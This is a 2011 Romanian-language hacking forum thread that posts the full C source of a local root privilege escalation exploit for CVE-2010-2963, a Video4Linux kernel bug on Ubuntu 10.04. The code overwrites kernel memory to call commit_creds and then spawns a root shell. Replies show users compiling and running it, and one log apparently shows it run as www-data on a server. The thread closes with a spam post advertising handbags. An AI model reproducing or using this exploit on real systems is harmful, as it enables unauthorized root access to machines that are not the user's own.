Nytro Posted September 11, 2011 Report Posted September 11, 2011 Ubuntu 10.04 (kernel 2.6.36?) - Local Root Privilege Escalation ExploitNu sunt sigur ca functioneaza. Ma uitam azi pe o prezentare de la Defconf 19 si am dat peste el.E vorba de aceasta problema: CVE - CVE-2010-2963 (under review)drivers/media/video/v4l2-compat-ioctl32.c in the Video4Linux (V4L) implementation in the Linux kernel before 2.6.36 on 64-bit platforms does not validate the destination of a memory copy operation, which allows local users to write to arbitrary kernel memory locations, and consequently gain privileges, via a VIDIOCSTUNER ioctl call on a /dev/video device, followed by a VIDIOCSMICROCODE ioctl call on this device.Info: National Vulnerability Database (NVD) National Vulnerability Database (CVE-2010-2963)Exploit:/* * Stand-alone CVE-2010-2963 exploit, tuned for unpatched Ubuntu 10.04 * Kees Cook <kees@ubuntu.com> * * Thanks to Dan Rosenberg for net target/trigger (with thanks to * netstat authors for INET_DIAG parsing code). * Thanks to Brad Spengler for symbols parser and creds payload. * Greets to pipacs, redpig, nelhage, segoon, taviso, solardiz. * */#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <time.h>#include <sys/wait.h>#include <sys/socket.h>#include <linux/netlink.h>#include <linux/inet_diag.h>#include <sys/utsname.h>#include <string.h>#include <sys/mman.h>#include <errno.h>#include <netinet/in.h>#include <sys/types.h>#include <linux/videodev.h>#include <syscall.h>/* 32bit __NR_ioctl syscall 54 */#include <asm/unistd_32.h>#define IOCTL_SYSCALL __NR_ioctl#define PORT 31337 /* Trigger socket, just listens briefly */#define SOCK_OFFSET 584 /* offsetof(struct sock, sk_destruct) */#define DEVICE "/dev/video0"unsigned int syscall32(unsigned int syscall, unsigned int arg1, unsigned int arg2, unsigned int arg3){ unsigned int rc; asm volatile( "movl %1, %%ebx;\n" "movl %2, %%ecx;\n" "movl %3, %%edx;\n" "movl %4, %%eax;\n" "int $0x80;\n" "movl %%eax, %0;\n" /* output */ : "=g"(rc) /* input */ : "g"(arg1), "g"(arg2), "g"(arg3), "g"(syscall) /* clobbered registers */ : "%eax", "%ebx", "%ecx", "%edx" ); return rc;}int hollywood = 0;void hollywood_status(char *format, unsigned long value){ unsigned long mask = 0x0; unsigned long drama; int counter; if (!hollywood) { printf(format, value); printf("\n"); return; } for (counter = 0 ; ; counter ++) { drama = ((unsigned long)rand() << (sizeof(int)*8)) | (unsigned long)rand(); printf("\r"); printf(format, (drama & ~mask) | (value & mask)); fflush(NULL); usleep(10000); if (mask == ~0x0UL) break; if (counter % 16 == 0) { mask |= (0xFFUL << ((rand() % sizeof(mask))*8)); } } printf("\n");}struct video_code32 { char loadwhat[16]; int datasize; int padding; uint64_t data;};int kernel_write(uint64_t destination, void *source, int length){ static struct video_code32 *vc; static struct video_tuner *tuner; int dev; unsigned int code; printf("[*] Overwriting at 0x%lx with %d bytes from %p\n", destination, length, source); if ( (dev=open(DEVICE, O_RDWR)) < 0) { perror(DEVICE); exit(1); } printf(" - Opened %s\n", DEVICE); if (hollywood) sleep(3); if (!vc) { vc = (struct video_code32*)mmap(NULL, sizeof(*vc), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT, 0, 0); if (vc == MAP_FAILED) { perror("mmap"); exit(1); } } if (!tuner) { tuner = (struct video_tuner*)mmap(NULL, sizeof(*tuner), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT, 0, 0); if (tuner == MAP_FAILED) { perror("mmap"); exit(1); } } vc->datasize = length; vc->data = (uint64_t)(uintptr_t)source; memset(tuner, 0xBB, sizeof(*tuner)); // manual union, since a real union won't do ptrs for 64bit uint64_t *ptr = (uint64_t*)(&(tuner->name[20])); *ptr = destination; printf(" - Spamming VIDIOCSTUNER ioctl ...\n"); // beat memory into the stack... code = 0x40347605; // VIDIOCSTUNER syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner); syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner); syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner); syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner); syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner); syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner); /* VIDIOCSMICROCODE32, the misconstructed VIDIOCSMICROCODE */ code = 0x4020761b; syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)vc); printf(" - VIDIOCSMICROCODE ioctl completed\n"); return 0;}/* Get the address of the sock struct for our socket */unsigned long get_sock_addr(unsigned int port){ FILE *f; char buf[1024]; unsigned int testport, a; unsigned long addr, b; f = fopen("/proc/net/tcp", "r"); if (f < 0) { printf("[*] Failed to open /proc/net/tcp\n"); return 0; } while (fgets(buf, 1024, f)) { sscanf(buf, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X " "%02X:%08lX %08X %5d %8d %lu %d %p %lu %lu %u %u " "%d\n", &a, &a, &testport, &a, &a, &a, &a, &a, &a, &b, &a, &a, &a, &b, &a, (void **)&addr, &b, &b, &a, &a, &a); if (testport == port) goto out; } addr = 0;out: fclose(f); return addr;}typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);_commit_creds commit_creds;_prepare_kernel_cred prepare_kernel_cred;int __attribute__((regparm(3)))getroot(void * file, void * vma){ commit_creds(prepare_kernel_cred(0)); return -1;}unsigned long get_kernel_sym(char *name){ FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; }repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { char *msg; asprintf(&msg, "[*] Resolved %s to 0x%%016lx", name); hollywood_status(msg, addr); free(msg); fclose(f); return addr; } } fclose(f); if (rep) return 0;fallback: /* didn't find the symbol, let's retry with the System.map dedicated to the pointlessness of Russell Coker's SELinux test machine (why does he keep upgrading the kernel if "all necessary security can be provided by SE Linux"?) */ uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat;}int sock;unsigned long choose_target(){ unsigned long target; struct sockaddr_in addr; printf("[*] Opening trigger socket listener on port %d ...\n", PORT); sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { printf("[*] Failed to open trigger socket.\n"); exit(1); } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) { printf("[*] Failed to bind trigger socket.\n"); exit(1); } /* Our socket won't appear in /proc/net/tcp unless it's listening */ if (listen(sock, 1)) { printf("[*] Failed to listen on trigger socket.\n"); exit(1); } target = get_sock_addr(PORT); if (!target) { printf("[*] Failed to get trigger socket address via INET_DIAG.\n"); exit(1); } target += SOCK_OFFSET; hollywood_status("[*] Trigger struct sock address + offset of sk_destruct: 0x%016lx", target); return target;}void trigger_target(){ if (hollywood) sleep(2); printf("[*] Triggering payload...\n"); if (hollywood) sleep(3); close(sock);}unsigned long get_payload_addr(void){ commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); return (uintptr_t)getroot;}int main(int argc, char * argv[]){ unsigned long payload; unsigned long target; srand(time(NULL)); // Hollywood level randomness! if (argc>1 && !strcmp(argv[1],"--hollywood")) hollywood = 1; printf("Preparing ...\n"); payload = get_payload_addr(); hollywood_status("[*] Exploit payload function pointer at 0x%016lx", (uintptr_t)&payload); target = choose_target(); printf("Attacking ...\n"); kernel_write(target, (void*)&payload, sizeof(payload)); trigger_target(); if (getuid()) { printf("[*] Failed to get root.\n"); return -1; } if (hollywood) { printf("[*] *dramatic chord*\n"); sleep(2); } printf("[*] Pwnage complete!\n"); execl("/bin/sh", "sh", NULL); perror("execl"); return 1;}Nu am deocamdata prea multe detalii, daca am timp sa ma informez revin cu informatii. Quote
napoletanii Posted September 11, 2011 Report Posted September 11, 2011 mi-a mers pe Linux localhost.localdomain 2.6.18-194.32.1.el5 #1 / Linux srv0.x 2.6.27.5-117.fc10.i686 #1 SMP / Linux x 2.6.18-274.el5xen #1 SMP / etc Quote
Nytro Posted September 11, 2011 Author Report Posted September 11, 2011 (edited) La mine nu a vrut, pe 2.6.39. Cred ca am si o versiune mai veche, o sa incerc si pe ea. Deocamdata:nytro@rst:~$ whoaminytronytro@rst:~$ uname -aLinux rst 2.6.39nytro #1 SMP Fri May 20 01:14:36 EEST 2011 i686 GNU/Linuxnytro@rst:~$ cd Documents/nytro@rst:~/Documents$ gcc exploit.c -o exploitexploit.c: In function ‘hollywood_status’:exploit.c:77: warning: left shift count >= width of typeexploit.c: In function ‘kernel_write’:exploit.c:104: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘uint64_t’nytro@rst:~/Documents$ chmod +x exploitnytro@rst:~/Documents$ ./exploitPreparing ...[*] Resolved commit_creds to 0x00000000c016ea90[*] Resolved prepare_kernel_cred to 0x00000000c016ecc0[*] Exploit payload function pointer at 0x00000000bfcdbf3c[*] Opening trigger socket listener on port 31337 ...[*] Trigger struct sock address + offset of sk_destruct: 0x00000000ede5eb48Attacking ...[*] Overwriting at 0xede5eb48 with 0 bytes from 0x4/dev/video0: No such file or directorynytro@rst:~/Documents$ whoaminytronytro@rst:~/Documents$ mknod /dev/video0 c 81 0mknod: `/dev/video0': Permission deniednytro@rst:~/Documents$ suPassword: root@rst:/home/nytro/Documents# mknod /dev/video0 c 81 0root@rst:/home/nytro/Documents# exitexitnytro@rst:~/Documents$ ./exploitPreparing ...[*] Resolved commit_creds to 0x00000000c016ea90[*] Resolved prepare_kernel_cred to 0x00000000c016ecc0[*] Exploit payload function pointer at 0x00000000bf87210c[*] Opening trigger socket listener on port 31337 ...[*] Trigger struct sock address + offset of sk_destruct: 0x00000000ede58748Attacking ...[*] Overwriting at 0xede58748 with 0 bytes from 0x4/dev/video0: Permission deniednytro@rst:~/Documents$ suPassword: root@rst:/home/nytro/Documents# chmod 666 /dev/video0root@rst:/home/nytro/Documents# exitexitnytro@rst:~/Documents$ ./exploitPreparing ...[*] Resolved commit_creds to 0x00000000c016ea90[*] Resolved prepare_kernel_cred to 0x00000000c016ecc0[*] Exploit payload function pointer at 0x00000000bfa9b57c[*] Opening trigger socket listener on port 31337 ...[*] Trigger struct sock address + offset of sk_destruct: 0x00000000ede58748Attacking ...[*] Overwriting at 0xede58748 with 0 bytes from 0x4/dev/video0: No such device or addressnytro@rst:~/Documents$ ls /dev/video*/dev/video0nytro@rst:~/Documents$ lsmodModule Size Used byvideodev 78103 0 binfmt_misc 6420 1 parport_pc 25796 0 ppdev 5064 0 dm_crypt 13696 0 mac80211 246236 0 snd_hda_codec_hdmi 21534 1 snd_hda_codec_realtek 248102 1 snd_hda_intel 21720 2 snd_hda_codec 84130 3 snd_hda_codec_hdmi,snd_hda_codec_realtek,snd_hda_intelsnd_hwdep 4984 1 snd_hda_codecsnd_pcm 70434 3 snd_hda_codec_hdmi,snd_hda_intel,snd_hda_codecsnd_seq_midi 4364 0 r8192se_pci 445895 0 snd_rawmidi 17462 1 snd_seq_midijoydev 8489 0 snd_seq_midi_event 5959 1 snd_seq_midicfg80211 145102 1 mac80211snd_seq 46035 2 snd_seq_midi,snd_seq_midi_eventsnd_timer 18315 2 snd_pcm,snd_seqsnd_seq_device 5562 3 snd_seq_midi,snd_rawmidi,snd_seqsnd 48219 14 snd_hda_codec_hdmi,snd_hda_codec_realtek,snd_hda_intel,snd_hda_codec,snd_hwdep,snd_pcm,snd_rawmidi,snd_seq,snd_timer,snd_seq_devicepsmouse 61369 0 serio_raw 3776 0 soundcore 888 1 sndsnd_page_alloc 7096 2 snd_hda_intel,snd_pcmlp 7085 0 hp_wmi 7204 0 parport 30699 3 parport_pc,ppdev,lpsparse_keymap 3478 1 hp_wmii915 467399 2 usbhid 34350 0 hid 68860 1 usbhidusb_storage 39698 0 drm_kms_helper 32119 1 i915drm 183577 3 i915,drm_kms_helperahci 18634 2 i2c_algo_bit 4913 1 i915libahci 19882 1 ahciintel_agp 9562 1 i915intel_gtt 13592 3 i915,intel_agpr8169 36279 0 agpgart 29117 3 drm,intel_agp,intel_gttvideo 11166 1 i915mii 4434 1 r8169nytro@rst:~/Documents$ Pe o alta versiune (2.6.35):nytro@rst:~$ whoaminytronytro@rst:~$ lsmodModule Size Used bybinfmt_misc 6599 1 vboxnetadp 6454 0 vboxnetflt 15152 0 vboxdrv 190199 2 vboxnetadp,vboxnetfltparport_pc 26058 0 ppdev 5556 0 dm_crypt 11385 0 snd_hda_codec_intelhdmi 9812 1 joydev 8767 0 snd_hda_codec_realtek 218492 1 snd_hda_intel 22235 2 snd_hda_codec 87552 3 snd_hda_codec_intelhdmi,snd_hda_codec_realtek,snd_hda_intelr8192se_pci 469516 0 psmouse 59033 0 serio_raw 4022 0 snd_hwdep 5040 1 snd_hda_codechp_wmi 5223 0 snd_pcm 71475 2 snd_hda_intel,snd_hda_codecsnd_seq_midi 4588 0 mac80211 231959 0 snd_rawmidi 17783 1 snd_seq_midisnd_seq_midi_event 6047 1 snd_seq_midisnd_seq 47174 2 snd_seq_midi,snd_seq_midi_eventsnd_timer 19067 2 snd_pcm,snd_seqlp 7342 0 snd_seq_device 5744 3 snd_seq_midi,snd_rawmidi,snd_seqsnd 49038 13 snd_hda_codec_realtek,snd_hda_intel,snd_hda_codec,snd_hwdep,snd_pcm,snd_rawmidi,snd_seq,snd_timer,snd_seq_devicecfg80211 144694 2 r8192se_pci,mac80211soundcore 880 1 sndsnd_page_alloc 7120 2 snd_hda_intel,snd_pcmparport 31492 3 parport_pc,ppdev,lpdm_raid45 81721 0 xor 15136 1 dm_raid45i915 295435 3 usbhid 36882 0 drm_kms_helper 30200 1 i915hid 67742 1 usbhiddrm 168060 3 i915,drm_kms_helperusb_storage 40204 0 intel_agp 26566 2 i915ahci 19198 2 r8169 36521 0 libahci 21728 1 ahcimii 4425 1 r8169agpgart 32011 2 drm,intel_agpi2c_algo_bit 5168 1 i915video 18712 1 i915output 1883 1 videoramzswap 9555 0 lzo_compress 1865 1 ramzswapnytro@rst:~$ cd Documents/nytro@rst:~/Documents$ ls /dev/video*ls: cannot access /dev/video*: No such file or directorynytro@rst:~/Documents$ ./exploitPreparing ...[*] Resolved commit_creds to 0x00000000c016cd40[*] Resolved prepare_kernel_cred to 0x00000000c016d190[*] Exploit payload function pointer at 0x00000000bf8dc72c[*] Opening trigger socket listener on port 31337 ...[*] Trigger struct sock address + offset of sk_destruct: 0x00000000f415a048Attacking ...[*] Overwriting at 0xf415a048 with 0 bytes from 0x4/dev/video0: No such file or directorynytro@rst:~/Documents$ suPassword: root@rst:/home/nytro/Documents# mknod /dev/video0 c 81 0root@rst:/home/nytro/Documents# chmod 666 /dev/video0root@rst:/home/nytro/Documents# exitexitnytro@rst:~/Documents$ ./exploit Preparing ...[*] Resolved commit_creds to 0x00000000c016cd40[*] Resolved prepare_kernel_cred to 0x00000000c016d190[*] Exploit payload function pointer at 0x00000000bfbcabbc[*] Opening trigger socket listener on port 31337 ...[*] Trigger struct sock address + offset of sk_destruct: 0x00000000f415a048Attacking ...[*] Overwriting at 0xf415a048 with 0 bytes from 0x4/dev/video0: No such device or addressnytro@rst:~/Documents$ uname -aLinux rst 2.6.35-28-generic #50-Ubuntu SMP Fri Mar 18 19:00:26 UTC 2011 i686 GNU/Linuxnytro@rst:~/Documents$PS: Probabil kernelele mele nu au fost compilate cu suport pentru video4linux. Nu e nimeni cu Ubuntu 10.04 sa incerce asta? Edited September 11, 2011 by Nytro Quote
napoletanii Posted September 11, 2011 Report Posted September 11, 2011 <speedline649-> Ubuntu 10.04.2 LTS \n \l<@cincix> speedline649- ./a<speedline649-> /dev/video0: No such file or directory<speedline649-> Preparing ...<speedline649-> [*] Resolved commit_creds to 0xffffffff8108ca60<speedline649-> [*] Resolved prepare_kernel_cred to 0xffffffff8108ce40<speedline649-> [*] Exploit payload function pointer at 0x00007ffff1213d58<speedline649-> [*] Opening trigger socket listener on port 31337 ...<speedline649-> [*] Trigger struct sock address + offset of sk_destruct: 0xffff88011b0b8f48<speedline649-> Attacking ...<speedline649-> [*] Overwriting at 0xffff88011b0b8f48 with 8 bytes from 0x7ffff1213d58<@cincix> speedline649- whoami<speedline649-> www-data Quote
em Posted September 12, 2011 Report Posted September 12, 2011 @NytroMie mi-a mers. Probabil tie nu iti merge c? nu ai x64. [..] Linux kernel before 2.6.36 on 64-bit platforms [..] Quote
Nytro Posted September 12, 2011 Author Report Posted September 12, 2011 Ah, chiar, uitasem ce e mai important...Oricum am inteles ca nu se mai foloseste video4linux la versiunile de Ubuntu (cel putin) mai mari de 10.04.Am mai incercat acum la munca pe o versiune, dar nu imi compila, zicea ca lipseste un header. Am instalat libv4l-dev si degeaba, aceeasi problema. Quote
jerry0503222 Posted September 20, 2011 Report Posted September 20, 2011 mi-a mers pe Linux localhost.localdomain 2.6.18-194.32.1.el5 #1 / Linux srv0.x 2.6.27.5-117.fc10.i686 #1 SMP / Linux x 2.6.18-274.el5xen #1 SMP / etc ___________________________________Coach Handbags , Coach Purses , Coach Outlet Quote